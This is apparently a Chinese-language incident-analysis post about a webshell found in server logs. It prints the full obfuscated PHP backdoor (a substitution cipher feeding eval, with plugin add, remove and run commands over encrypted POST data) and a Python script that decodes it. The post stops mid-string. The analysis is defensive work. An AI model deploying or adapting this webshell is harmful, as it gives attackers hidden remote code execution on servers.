发现一例webshell上传，那么我们就要分析一下

从日志中我们获得webshell内容

<?php
if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718'))
{
define('ALREADY_RUN_1bc29b36f342a82aaf6658785356718', 1);

$lqwsepwc = 2882; function vjpsq($wctjxlltp, $frpcd){$xlvbzhdl = ''; for($i=0; $i < strlen($wctjxlltp); $i++){$xlvbzhdl .= isset($frpcd[$wctjxlltp[$i]]) ? $frpcd[$wctjxlltp[$i]] : $wctjxlltp[$i];}
$esaebsi="rawurl" . "decode";return $esaebsi($xlvbzhdl);}
$erowqloh = '%4H%4c%4H%4c%04aXa_vLs%YA%YSL88J8_1Ji%YS%YV%Y4Dn55%Ym%NG%4H%4c%04aXa_vLs%YA%YS1Ji_L8'.
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'a1L_iLs_OJXsLXsv%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4'.
'%Y4%Y4%Y4%Y4%Y4%Y0OJXfai_TJv%Y4%NH%Y4vs8TJv%YA%Y0vL1f_OJXsLXs%YV%Y4Ftl%YAOv_iLs_Op88LXs_fa1LTksh%YA%'.
'Ym%Ym%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YA%Y0OJXfai_TJv%Y4'.
'%YR%NH%NH%Y4wc5Kx%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%'.
'4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0OJXfai_J1'.
't%Y4%NH%Y4vpZvs8%YA%Y0vL1f_OJXsLXs%YV%Y4%Y0OJXfai_TJv'.
'%Y4%YG%Y4NY%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0vL1f_OJX'.
'sLXs%Y4%NH%Y4vs8_8LT1kOL%YA%Y0OJXfai_J1t%YV%Y4%Y0OJXfa'.
'i_LXO%YV%Y4%Y0vL1f_OJXsLXs%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%'.
'Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vL%4H%4c%Y4%Y4'.
'%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0vL1f_OJXsLXs%Y4%NH%Y4%Y0vL1f_OJXs'.
'LXs%Y4.%Y4%YY%lVX%lVX//%YY%Y4.%Y4Ftl%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%Y4.%Y4%Y'.
'0OJXfai_LXO%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c'.
'%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%04fa1L_Tps_OJXsLXsv%YAOv_iLs_Op88LXs_f'.
'a1LTksh%YA%Ym%YV%Y4%Y0vL1f_OJXsLXs%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y'.
'4fpXOsaJX%Y4Ov_T1piaX_ktt%YA%Y0XkFL%YV%Y4%Y0ZkvLg0_tksk%Ym%4H%4c'.
'%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0T1piaXv%Y4%NH%Y4Ov'.
'_iLs_T1piaX_OJXfai%YA%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y'.
'4%Y0T1piaXv%lG%Y0XkFL%lH%Y4%NH%Y4Ov_ZkvLg0_tLOJtL%YA%Y0ZkvLg0_tksk%Ym%NG%4'.
'H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4Ov_vLs_T1piaX_OJXfai%YA%Y0T1piaXv%Ym%NG%4H%4c%Y4%Y4%'.
'Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_T1piaX_8L'.
'F%YA%Y0XkFL%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4'.
'%Y4%Y4%Y4%Y0T1piaXv%Y4%NH%Y4Ov_iLs_T1piaX_OJXfai%YA%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4pXvLs'.
'%YA%Y0T1piaXv%lG%Y0XkFL%lH%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4'.
'%Y4%Y4%Y4Ov_vLs_T1piaX_OJXfai%YA%Y0T1piaXv%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%'.
'4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_T1piaX_1Jkt%YA%Y0XkFL%NHDn55%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%'.
'Y4%Y4%Y4%Y4%Y4%Y4fJ8LkOh%Y4%YAOv_iLs_T1piaX_OJXfai%YA%Ym%Y4kv%Y4%Y0TXkFL%NH%Nx%Y0TOJXsLXs'.
'%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YA%Y0XkFL%'.
'Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y'.
'4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YAvs8O'.
'FT%YA%Y0XkFL%YV%Y4%Y0TXkFL%Ym%Y4%NH%NH%Y44%Ym%4H%4c%'.
'Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y'.
'4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LEk1%YA%Y0TOJXsLX'.
's%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y'.
'4%Y4%Y4%Y4Z8Lk7%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y'.
'4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1'.
'vL%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4'.
'%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LEk1%YA%Y0TOJXsLXs%Ym%'.
'NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4'.
'%SH%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fJ8LkOh%Y4%YA%Y0_VeeQWx%Y4kv%Y4%Y07L6%'.
'NH%Nx%Y0Ek1pL%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4'.
'%Y4%Y4%Y4%Y0tksk%Y4%NH%Y4%Y0Ek1pL%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%'.
'Y4%Y4%Y0tksk_7L6%Y4%NH%Y4%Y07L6%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%'.
'4c%Y4%Y4%Y4%Y4af%Y4%YA%YR%Y0tksk%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4fJ8LkOh%Y'.
'4%YA%Y0_reKI%Y4kv%Y4%Y07L6%NH%Nx%Y0Ek1pL%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4'.
'%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0tksk%Y4%NH%Y4%Y0Ek1pL'.
'%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0tksk_7L6%Y4%NH%Y4%Y07L6%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y'.
'4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y0tksk%Y4%NH%Y4%'.
'04pXvL8ak1aPL%YAOv_tLO86Ts%YAOv_ZkvLg0_tLOJtL%YA%Y0tksk%Ym%YV%Y4%Y0tksk_7L6%Ym%Ym%NG%4'.
'H%4c%4H%4c%Y4%Y4%Y4%Y4af%Y4%YAavvLs%YA%Y0tksk%lG%YSk7%YS%lH%Ym%Y4%Yg%Yg%Y4%Y0Ov'.
'_kpsh%NH%NH%Y0tksk%lG%YSk7%YS%lH%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%'.
'Y4%Y4%Y4%Y4af%Y4%YA%Y0tksk%lG%YSk%YS%lH%Y4%NH%NH%Y4%YSa%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%'.
'Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0a%Y4%NH%Y4c88k6'.
'%YA%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%YSTE%YS%Y4'.
'%NH%Nx%Y4%04ThTEL8vaJX%YA%Ym%YV%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%'.
'Y4%Y4%Y4%Y4%YSvE%YS%Y4%NH%Nx%Y4%YSY.4-R%YS%YV%4H%4c%Y4%Y4%'.
'Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%YSk7%YS%Y4%NH%Nx%Y4%Y0tksk%lG%YSk7'.
'%YS%lH%YV%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4'.
'%Y4%Y4%Y4LOhJ%Y4%04vL8ak1aPL%YA%Y0a%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y'.
'4%Y4%Y4%Y4%Y4LCas%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4'.
'%Y4%Y4%Y4%Y4L1vLaf%Y4%YA%Y0tksk%lG%YSk%YS%lH%Y4%NH%NH%Y4%YSL%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%'.
'4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LEk1%YA%Y0tksk%lG%YSt%YS%lH%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%'.
'Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vLaf%Y4%YA%Y0tksk%lG%YSk%YS%lH%Y4%NH%NH%Y'.
'4%YST1piaX%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4'.
'%Y4%Y4%Y4af%YA%Y0tksk%lG%YSvk%YS%lH%Y4%NH%NH%Y4%YSktt%YS%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%'.
'Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%'.
'Y4%Y4Ov_T1piaX_ktt%YA%Y0tksk%lG%YST%YS%lH%YV%Y4%Y0tksk%'.
'lG%YSt%YS%lH%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%'.
'4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vLaf%YA%Y0tksk%lG%YSvk%YS%lH%Y4%NH%NH%Y4%YS8LF%YS%Ym%4'.
'H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4'.
'%Y4Ov_T1piaX_8LF%YA%Y0tksk%lG%YST%YS%lH%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%'.
'Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LOhJ%Y4%Y0tksk%lG%YSk7%YS%lH%NG%4H%4c%Y4%Y'.
'4%Y4%Y4%Y4%Y4%Y4%Y4LCas%YA%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4Ov_T1piaX_1Jkt%'.
'YA%Ym%NG%4H%4c%SH';
$wbaudyr = Array('1'=>'l', '0'=>'4', '3'=>'X', '2'=>'Z', '5'=>'L', '4'=>'0', '7'=>'k', '6'=>'y', '9'=>'Q', '8'=>'r', 'A'=>'8', 'C'=>'x', 'B'=>'J', 'E'=>'v', 'D'=>'N', 'G'=>'B', 'F'=>'m', 'I'=>'T', 'H'=>'D', 'K'=>'S', 'J'=>'o', 'M'=>'M', 'L'=>'e', 'O'=>'c', 'N'=>'3', 'Q'=>'K', 'P'=>'z', 'S'=>'7', 'R'=>'1', 'U'=>'j', 'T'=>'p', 'W'=>'I', 'V'=>'C', 'Y'=>'2', 'X'=>'n', 'Z'=>'b', 'a'=>'i', 'c'=>'A', 'b'=>'w', 'e'=>'O', 'd'=>'W', 'g'=>'6', 'f'=>'f', 'i'=>'g', 'h'=>'h', 'k'=>'a', 'j'=>'V', 'm'=>'9', 'l'=>'5', 'o'=>'H', 'n'=>'U', 'q'=>'q', 'p'=>'u', 's'=>'t', 'r'=>'P', 'u'=>'Y', 't'=>'d', 'w'=>'F', 'v'=>'s', 'y'=>'R', 'x'=>'E', 'z'=>'G');
eval/*htbhamhift*/(vjpsq($erowqloh, $wbaudyr));
}

对编码部分进行解码进行处理，去掉单引号和换行

写一个python脚本，解析webshell

import urllib.parse

def vjpsq(encoded_str, code_map):
    decoded_str = ''
    for char in encoded_str:
        if char in code_map:
            decoded_str += code_map[char]
        else:
            decoded_str += char
    return urllib.parse.unquote(decoded_str)

# 创建一个字符映射字典，与PHP代码中的映射相同
code_map = {
    '1':'l', '0':'4', '3':'X', '2':'Z', '5':'L', '4':'0', '7':'k', '6':'y', 
    '9':'Q', '8':'r', 'A':'8', 'C':'x', 'B':'J', 'E':'v', 'D':'N', 'G':'B', 
    'F':'m', 'I':'T', 'H':'D', 'K':'S', 'J':'o', 'M':'M', 'L':'e', 'O':'c', 
    'N':'3', 'Q':'K', 'P':'z', 'S':'7', 'R':'1', 'U':'j', 'T':'p', 'W':'I', 
    'V':'C', 'Y':'2', 'X':'n', 'Z':'b', 'a':'i', 'c':'A', 'b':'w', 'e':'O', 
    'd':'W', 'g':'6', 'f':'f', 'i':'g', 'h':'h', 'k':'a', 'j':'V', 'm':'9', 
    'l':'5', 'o':'H', 'n':'U', 'q':'q', 'p':'u', 's':'t', 'r':'P', 'u':'Y', 
    't':'d', 'w':'F', 'v':'s', 'y':'R', 'x':'E', 'z':'G'
}

# 经过编码的字符串
encoded_str = '''
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%Y4%Y4%Y4%Y4%Y4fO1JvL%YA%Y0fhkXt1L%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y48Lsp8X%Y4%Y0fOJXsLXsv%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_iLs_Op88LXs_fa1LTksh%YA%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y48Lsp8X%Y4s8aF%YAT8Li_8LT1kOL%YA%YY/%lV%YA%Yc%lV%Y0/%YY%YV%Y4%YS%YS%YV%Y4__wW5x__%Ym%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_tLO86Ts_ThkvL%YA%Y0tksk%YV%Y4%Y07L6%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0Jps_tksk%Y4%NH%Y4%YY%YY%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4fJ8%Y4%YA%Y0a%NH4%NG%Y4%Y0a%NVvs81LX%YA%Y0tksk%Ym%NG%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4fJ8%Y4%YA%Y0U%NH4%NG%Y4%Y0U%NVvs81LX%YA%Y07L6%Ym%Y4%Yg%Yg%Y4%Y0a%NVvs81LX%YA%Y0tksk%Ym%NG%Y4%Y0U%YG%YG%YV%Y4%Y0a%YG%YG%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0Jps_tksk%Y4%NH%Y4Oh8%YAJ8t%YA%Y0tksk%lG%Y0a%lH%Ym%Y4%lx%Y4J8t%YA%Y07L6%lG%Y0U%lH%Ym%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y48Lsp8X%Y4%Y0Jps_tksk%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_tLO86Ts%YA%Y0tksk%YV%Y4%Y07L6%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4i1JZk1%Y4%Y0Ov_kpsh%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y48Lsp8X%Y4Ov_tLO86Ts_ThkvL%YAOv_tLO86Ts_ThkvL%YA%Y0tksk%YV%Y4%Y07L6%Ym%YV%Y4%Y0Ov_kpsh%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_LXO86Ts%YA%Y0tksk%YV%Y4%Y07L6%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4i1JZk1%Y4%Y0Ov_kpsh%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y48Lsp8X%Y4Ov_tLO86Ts_ThkvL%YAOv_tLO86Ts_ThkvL%YA%Y0tksk%YV%Y4%Y0Ov_kpsh%Ym%YV%Y4%Y07L6%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_iLs_T1piaX_OJXfai%YA%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0vL1f_OJXsLXs%Y4%NH%Y4%04fa1L_iLs_OJXsLXsv%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0OJXfai_TJv%Y4%NH%Y4vs8TJv%YA%Y0vL1f_OJXsLXs%YV%Y4Ftl%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YA%Y0OJXfai_TJv%Y4%YR%NH%NH%Y4wc5Kx%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0OJXfai%Y4%NH%Y4vpZvs8%YA%Y0vL1f_OJXsLXs%YV%Y4%Y0OJXfai_TJv%Y4%YG%Y4NY%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0T1piaXv%Y4%NH%Y4%04pXvL8ak1aPL%YAOv_tLO86Ts%YA8kbp81tLOJtL%YA%Y0OJXfai%Ym%YV%Y4Ftl%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%Ym%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vL%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0T1piaXv%Y4%NH%Y4c88k6%YA%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y48Lsp8X%Y4%Y0T1piaXv%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_vLs_T1piaX_OJXfai%YA%Y0T1piaXv%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0OJXfai_LXO%Y4%NH%Y48kbp81LXOJtL%YAOv_LXO86Ts%YA%04vL8ak1aPL%YA%Y0T1piaXv%Ym%YV%Y4Ftl%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%Ym%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0vL1f_OJXsLXs%Y4%NH%Y4%04fa1L_iLs_OJXsLXsv%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0OJXfai_TJv%Y4%NH%Y4vs8TJv%YA%Y0vL1f_OJXsLXs%YV%Y4Ftl%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YA%Y0OJXfai_TJv%Y4%YR%NH%NH%Y4wc5Kx%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0OJXfai_J1t%Y4%NH%Y4vpZvs8%YA%Y0vL1f_OJXsLXs%YV%Y4%Y0OJXfai_TJv%Y4%YG%Y4NY%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0vL1f_OJXsLXs%Y4%NH%Y4vs8_8LT1kOL%YA%Y0OJXfai_J1t%YV%Y4%Y0OJXfai_LXO%YV%Y4%Y0vL1f_OJXsLXs%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vL%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0vL1f_OJXsLXs%Y4%NH%Y4%Y0vL1f_OJXsLXs%Y4%Y4%YY%lVX%lVX//%YY%Y4%Y4Ftl%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%Ym%Y4%Y4%Y0OJXfai_LXO%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%04fa1L_Tps_OJXsLXsv%YAOv_iLs_Op88LXs_fa1LTksh%YA%Ym%YV%Y4%Y0vL1f_OJXsLXs%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_T1piaX_ktt%YA%Y0XkFL%YV%Y4%Y0ZkvLg0_tksk%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0T1piaXv%Y4%NH%Y4Ov_iLs_T1piaX_OJXfai%YA%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0T1piaXv%lG%Y0XkFL%lH%Y4%NH%Y4Ov_ZkvLg0_tLOJtL%YA%Y0ZkvLg0_tksk%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4Ov_vLs_T1piaX_OJXfai%YA%Y0T1piaXv%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_T1piaX_8LF%YA%Y0XkFL%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y0T1piaXv%Y4%NH%Y4Ov_iLs_T1piaX_OJXfai%YA%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4pXvLs%YA%Y0T1piaXv%lG%Y0XkFL%lH%Ym%NG%4H%4c%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4Ov_vLs_T1piaX_OJXfai%YA%Y0T1piaXv%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%SH%4H%4c%4H%4c%Y4%Y4%Y4%Y4fpXOsaJX%Y4Ov_T1piaX_1Jkt%YA%Y0XkFL%NHDn55%Ym%4H%4c%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4fJ8LkOh%Y4%YAOv_iLs_T1piaX_OJXfai%YA%Ym%Y4kv%Y4%Y0TXkFL%NH%Nx%Y0TOJXsLXs%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YA%Y0XkFL%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4af%Y4%YAvs8OFT%YA%Y0XkFL%YV%Y4%Y0TXkFL%Ym%Y4%NH%NH%Y44%Ym%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LEk1%YA%Y0TOJXsLXs%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4Z8Lk7%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4L1vL%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4LEk1%YA%Y0TOJXsLXs%Ym%NG%4H%4c%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%Y4%SH%4H%